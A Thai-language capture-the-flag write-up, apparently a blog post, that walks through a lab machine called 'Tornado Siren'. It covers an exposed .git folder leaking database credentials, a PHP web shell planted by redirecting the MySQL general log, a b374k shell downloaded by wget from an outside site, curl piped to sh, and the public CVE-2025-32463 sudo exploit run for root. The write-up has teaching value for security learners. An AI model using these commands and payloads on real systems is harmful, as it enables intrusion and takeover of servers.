Logo
TORNADO SIREN
Overview

TORNADO SIREN

Mr. Wan Mr. Wan
May 15, 2025
5 min read

tornado-siren-img-1

โจทย์นี้คือโครตท้าทายมาก เพราะมีการกันหนาพอตัว แต่ก็สามารถเอา Flag ทั้ง 2 ออกมาได้ OwO

หาทางเข้า Database

ทีนี้มาเริ่มหากันเลยดีว่า ~

tornado-siren-img-2

พอเปิดหน้าเว็บมาก็นึกโจทย์ “Rain or rain” ขึ้นมาก็เลยลอง Injection เข้าไปดู

tornado-siren-img-2

เอ๋​ โจมตีไม่ได้หรอ แบบนี้งานยากซะแล้วสิ O-O! แล้วทำยังไงทีละ

ด้วยความที่ลองทั้ง Inspect code หรือเช็ค HTTP Request แล้วก็ไม่มีช่องโหว่ไหนโผล่ออกมาเลยแฮ่ะ จึงลองใช้ ffuf ในการสแกนดูว่าจะเจอ Path อะไรแปลก ๆ

mrwan2546@macbook Downloads % ffuf -w ./common.txt -recursion -u http://172.18.0.35/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://172.18.0.35/FUZZ
:: Wordlist : FUZZ: /Users/mrwan2546/Downloads/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
.git [Status: 301, Size: 309, Words: 20, Lines: 10, Duration: 27ms] <- ???
[INFO] Adding a new job to the queue: http://172.18.0.35/.git/FUZZ
...

เอ๊ะ นั่นมัน .git file นิ หรือว่าอาจมีการดึงข้อมูลจาก GitHub ออกมาได้ ซึ่งโดยตามปกติแล้ว GitHub จะสามารถ restore file ได้ แต่ว่า… ทำยังไงหว่า 5555

ก็เลยไปหาดูไปเจอบทความนี้มา https://captainnoob.medium.com/source-code-disclosure-via-exposed-git-folder-d22919c590a2

พอเจอแบบนี้แล้วก็ทำการดึง .git folder ลงมาทั้งก้อนซะเลย!

wget --mirror -I .git http://172.18.0.35/.git/
mrwan2546@macbook 172.18.0.35 % git status
On branch master
Changes not staged for commit:
(use "git add/rm <file>..." to update what will be committed)
(use "git restore <file>..." to discard changes in working directory)
deleted: bak.php
deleted: index.php
no changes added to commit (use "git add" and/or "git commit -a")

อื้ม! เหมือนจะเจอแล้วละ ต่อไปจะทำการ git restore เพื่อกู้คืน File content git ที่หายไป

mrwan2546@macbook 172.18.0.35 % git restore .
mrwan2546@macbook 172.18.0.35 % ls -la
total 24
drwxr-xr-x 5 mrwan2546 staff 160 Sep 14 12:00 .
drwxr-xr-x 5 mrwan2546 staff 160 Sep 14 11:58 ..
drwxr-xr-x 22 mrwan2546 staff 704 Sep 14 12:00 .git
-rw-r--r-- 1 mrwan2546 staff 226 Sep 14 12:00 bak.php
-rwxr-xr-x 1 mrwan2546 staff 6589 Sep 14 12:00 index.php
mrwan2546@macbook 172.18.0.35 %

ได้มาแล้ว! ทีนี้ไหนลองดูซิ๊ว่าด้านไหน index.php ว่ามีอะไรบ้าง

index.php
<?php
declare(strict_types=1);
// ======= DB CONFIG =======
$DB_HOST = '127.0.0.1';
$DB_NAME = 'dev_tornado_siren';
$DB_USER = 'devlnw'; // แก้ให้ตรงเครื่องคุณ
$DB_PASS = 'RaciNovEroAsHierSHanTemiNETeL'; // แก้ให้ตรงเครื่องคุณ
$DSN = "mysql:host={$DB_HOST};dbname={$DB_NAME};charset=utf8mb4";
...

เหมือนเจอ User & Pass ของ MySQL แฮ่ะ งั้น.. แสดงว่า.. มันสามารถเข้าผ่าน Port 3306 ของ MySQL ได้ งั้นลองดูหน่อยซิ๊

mrwan2546@macbook ~ % mysql -h 172.18.0.35 -u devlnw -p -D dev_tornado_siren
Enter password:
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 57
Server version: 5.5.5-10.11.13-MariaDB-0ubuntu0.24.04.1 Ubuntu 24.04
Copyright (c) 2000, 2025, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>

เย้! เข้ามาได้แล้ว!

หาทางเข้า Shell

ทีนี้พอเราเข้ามาได้แล้ว ไหนลองเช็คดูว่ามี flag ซ่อนในนี้ไหม

Terminal window
mysql> SHOW TABLES;
+-----------------------------+
| Tables_in_dev_tornado_siren |
+-----------------------------+
| dev_test_user |
| tornado_observations |
+-----------------------------+
2 rows in set (0.019 sec)
mysql>

อืมมม ไม่มีเลยแฮ่ะ แต่เอ๊ะ! อะไรคือ dev_test_user ก็เลยลองเข้าไปดู

Terminal window
mysql> select * from dev_test_user;
+----+----------+----------+---------------------+
| id | username | password | created_at |
+----+----------+----------+---------------------+
| 1 | devlnw | lnwza888 | 2025-09-14 04:55:32 |
+----+----------+----------+---------------------+
1 row in set (0.020 sec)
mysql>

เหมือนเป็น User & Pass ทางเข้าอะไรสักอย่าง เดียวเก็บไว้ก่อนละกัน

Username: devlnw
Password: lnwza888

แล้วทีนี้จะเข้าไปเครื่องยังไงดีกันนะ เพราะลองเช็คแล้วเหมือนจะหา Flag อะไรในนั้นแทบไม่ได้เลยแฮ่ะ ทีนี้นึกขึ้ได้ว่า เราสามารถเขียน File เข้าไปใน MySQL เพื่อให้เขียน File ออกมาได้

Terminal window
mysql> SELECT '<?php system("id")' INTO OUTFILE '/var/www/html/shell.php';
ERROR 1045 (28000): Access denied for user 'devlnw'@'%' (using password: YES)

เอ๋ ไม่ได้แฮ่ะ โดน Access denied เฉยเลย ;w; แล้วลองเขียนแบบ system ไปแบบโต้ง ๆ ดู

Terminal window
mysql> system id
ERROR: 'system' command received, but the --system-command option is off. Skipping.

แล้วจะเข้าไป Shell ได้ยังไงนิ ติดแบบนี้

แต่นึกขึ้นได้อีกอย่าง MySQL มันมีสิ่งที่เรียกว่าเขียน Log file ขึ้นมานิ ทีนี้ลองไปค้นข้อมูลมาว่า “เราสามารถ Overwrite path logging ได้” ซึ่งตอนนั้นนึกว่ามันจะได้หรอ ก็เลยลองดู

mysql> SET GLOBAL general_log_file = '/var/www/html/shell.php';
Query OK, 0 rows affected (0.022 sec)
mysql> SET GLOBAL log_output = 'FILE';
Query OK, 0 rows affected (0.018 sec)
mysql> SET GLOBAL general_log = 'ON';
Query OK, 0 rows affected (0.020 sec)
mysql> SELECT "<?php system($_GET['cmd']) ;?>";
+--------------------------------+
| <?php system($_GET['cmd']) ;?> |
+--------------------------------+
| <?php system($_GET['cmd']) ;?> |
+--------------------------------+
1 row in set (0.019 sec)
mysql> SET GLOBAL general_log = 'OFF';
Query OK, 0 rows affected (0.024 sec)
mysql>

ทีนี้ลองเข้าเว็บตามที่เขียนดูตามลิ้งก์ http://172.18.0.35/shell.php?cmd=whoami

/usr/sbin/mariadbd, Version: 10.11.13-MariaDB-0ubuntu0.24.04.1 (Ubuntu 24.04). started with: Tcp port: 3306 Unix socket: /run/mysqld/mysqld.sock Time Id Command Argument 250914 5:10:38 57 Query SELECT "www-data" 250914 5:10:41 57 Query SET GLOBAL general_log = 'OFF'

เฮ้ย! ได้ไง O-O!!! ทำแบบนี้ได้ด้วยหรอ ก็เลยลองทำท่าเหมือนโจทย์ TEMPEST POST OFFICE ดูโดยการใช้ ncat ควบคุมดู

tornado-siren-img-4

เงียบกริบ… ทำไมไม่ได้กันนะ?

ก็เลยลองหาท่าอื่นดู โดยการจะฝัง PHP b374k เพื่อให้สร้าง Bind shell ออกมาด้านนอก โดยการโหลดไฟล์ลงมาก่อน

ป้อนคำสั่ง wget เพื่อ Download script ลงมา

http://172.18.0.35/shell.php?cmd=wget%20-O%20attack.php%20https://webshell.org/b374k-shell.txt

จากนนั้นเข้าผ่านเว็บ http://172.18.0.35/attack.php

tornado-siren-img-5

แหม่ ~ ไม่ได้เจอหน้านี้นามา— อุ่ย 5555 กลับเข้าเรื่องก่อน

ทีนี้จะใช้ Bind shell เพื่อเข้า Shell ของเครื่อง

tornado-siren-img-6

ตอนนี้เข้ามาใน Shell ได้สำเร็จแล้ว! ทีนี้ได้เวลาล่า Flag กัน!

หา Flag อันที่ #1

เรามาหา Flag แรกกัน

เราก็จะเช็คก่อนว่า Flag ซ่อนไว้ไหนโดยใช้โจทย์คล้าย ๆ กับ “TEMPEST POST OFFICE” เพื่อดู File /random.sh

Terminal window
# เส้นทางไฟล์ปลายทาง
f1="/home/devlnw/flag.txt"
f2="/root/flag.txt"

เอาละเราเจอแหล่งไฟล์​ flag.txt โดยจะซ่อนอยู่ในทั้ง /home/devlnw/flag.txt และ /root/flag.txt

ทีนี้ลองอ่านดูว่าอ่านได้ไหม

cat: /home/devlnw/flag.txt: Permission denied

อ่านไมไม่ได้แฮ่ะ แล้วลองเข้า User devlnw ดู

/var/www/html>su devlnw
Password: ??
su: Authentication failure

แล้วรหัสอะไรละ? แต่เอ๊ะ! เหมือน User นี้จะเจอใน Database ก่อนหน้านี้เลย

งั้นแสดงว่า… นั้นคือ Password สำหรันเข้า User devlnw สินะ

/var/www/html>su devlnw
Password: lnwza888
id
uid=1001(devlnw) gid=1001(devlnw) groups=1001(devlnw)

สรุปเข้าได้จริงด้วย! งั้นไปเอา Flag อันที่ 1 กัน!

cat /home/devlnw/flag.txt
TEMPEST{22455c611d206a5e6e500631828a8c9f}
exit

ได้มาแล้ว! >w< “

TEMPEST{22455c611d206a5e6e500631828a8c9f}

หา Flag อันที่ #2

ต่อไปงานหินแล้วละ Flag อันที่ 2 อันนั้นอยู่ใน root account ซึ่งเราไม่สามารถจะไปอ่านตรง ๆ กันได้ โดยได้ลองเข้าไป sudo เพือเข้า User root โดยตรงแต่…

/var/www/html>sudo -S su -
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
For security reasons, the password you type will not be visible.
Password: ???
Sorry, try again.
Password: ???
Sorry, try again.
Password: QwQ
sudo: 3 incorrect password attempts
/var/www/html>

รหัสอะไร ;w; เราก็ไม่รู้อีกว่า www-data คืออะไร เพราะโดยปกติแล้ว www-data จะไม่ต้องป้อนรหัสอะไรเลย ก็สามารถเข้าไปได้โดยตรง

Terminal window
/var/www/html>cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin <- ไมต้อง Login
...
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
devlnw:x:1001:1001::/home/devlnw:/bin/bash
...
/var/www/html>

ทีนี้ก็นั่งงมหลายชั่วโมงมาก จนกระทั่งไปเจอ Tool นี้มา https://github.com/peass-ng/PEASS-ng (ขอบคุณ Krits ที่ช่วยหา)

เป็นอุปกรณ์ที่ช่วยสแกนค้นหาช่องโหว่ที่เป็นไปได้ โดยความเป็นไปได้สูงสุดจะขึ้นสีแดง

หลังลองสแกนเจอสิ่งนี้

/var/www/html>curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
...
-rwsr-xr-x 1 root root 40K May 30 2024 /usr/bin/newgrp ---> HP-UX_10.20
-rwsr-xr-x 1 root root 72K May 30 2024 /usr/bin/chfn ---> SuSE_9.3/10
-rwsr-xr-x 1 root root 44K May 30 2024 /usr/bin/chsh
-rwsr-xr-x 1 root root 75K May 30 2024 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 1019K Sep 8 20:31 /usr/bin/sudo ---> check_if_the_sudo_version_is_vulnerable
...

เหมือนตัว PRESS-ng เจอว่า sudo จะมีช่องโหว่ที่สามารถทำอะไรได้สักอย่าง ก็เลยลองเช็ค Version ดูและค้นหา ปรากฏว่า

tornado-siren-img-7

เป็น CVE-2025-32463 ที่สามารถยกสิทธิ์ตัวเราเป็น root ได้โดยการใช้ chroot โจมตี ซึ่งระดับความอันตรายอยู่ที่ 9.3 ถือว่าอันตรายสุด! ทำให้ผมอึ้งไปสักพักเลย O-O!!!

ทีนี้ก็ลองค้นหาตัว CVE นี้ ก็ไปเจอ Script นี้มา: https://github.com/pr0v3rbs/CVE-2025-32463_chwoot

เป็นการปรับ GUID และ UID ให้เป็น 0 เพื่อปรับสิทธิตัวเองเป็น root User และใช้ sudo เพื่อยกสิทธิ์อีกที

ทีนี้ลองโจมตีกัน

Terminal window
/var/www/html>curl https://raw.githubusercontent.com/pr0v3rbs/CVE-2025-32463_chwoot/refs/heads/main/sudo-chwoot.sh > sudo-chwoot.sh
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1046 100 1046 0 0 2306 0 --:--:-- --:--:-- --:--:-- 2303
/var/www/html>chmod +x ./sudo-chwoot.sh
/var/www/html>./sudo-chwoot.sh
woot!
id
uid=0(root) gid=0(root) groups=0(root),33(www-data) <-- !!!!

เฮ้ยยย O-O!!!! ยกสิทธิ์ได้จริงด้วย! โครตตกใจจริงที่สามารถยกสิทธิ์ได้แบบนี้เลย แต่ใจเย็น ๆ ก่อน เป้าหมายเราคือหา Flag อันที่ 2 ก่อน

ls /root
flag.txt
cat /root/flag.txt
TEMPEST{853d667ecda1b5e5f6cd28ce6c9b7c5a}

เย้! ได้มาแล้ว!!!

TEMPEST{853d667ecda1b5e5f6cd28ce6c9b7c5a}